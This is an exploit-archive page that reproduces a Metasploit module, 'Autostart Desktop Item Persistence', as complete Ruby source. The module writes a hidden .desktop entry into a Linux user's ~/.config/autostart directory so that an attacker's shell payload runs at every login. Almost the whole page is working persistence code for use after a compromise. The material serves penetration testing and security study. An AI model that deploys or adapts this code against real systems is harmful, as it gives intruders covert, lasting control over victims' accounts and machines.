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Autostart Desktop Item Persistence

Autostart Desktop Item Persistence
Posted Aug 20, 2018
Authored by Eliott Teissonniere | Site metasploit.com

This Metasploit module will create an autostart entry to execute a payload. The payload will be executed when the users logs in.

tags | exploit
MD5 | 60f9c1b5da932a2747b2157dd912c773

Autostart Desktop Item Persistence

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(update_info(info,
'Name' => 'Autostart Desktop Item Persistence',
'Description' => %q(
This module will create an autostart entry to execute a payload.
The payload will be executed when the users logs in.
),
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '#%\n"',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python netcat perl'
}
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'DisclosureDate' => 'Feb 13 2006', # Date of the 0.5 doc for autostart
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))

register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
end

def exploit
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)

home = cmd_exec('echo ~')

path = "#{home}/.config/autostart/#{name}.desktop"

print_status('Making sure the autostart directory exists')
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists

print_status("Uploading autostart file #{path}")

write_file(path, [
"[Desktop Entry]",
"Type=Application",
"Name=#{name}",
"NoDisplay=true",
"Terminal=false",
"Exec=/bin/sh -c \"#{payload.encoded}\""
].join("\n"))
end
end

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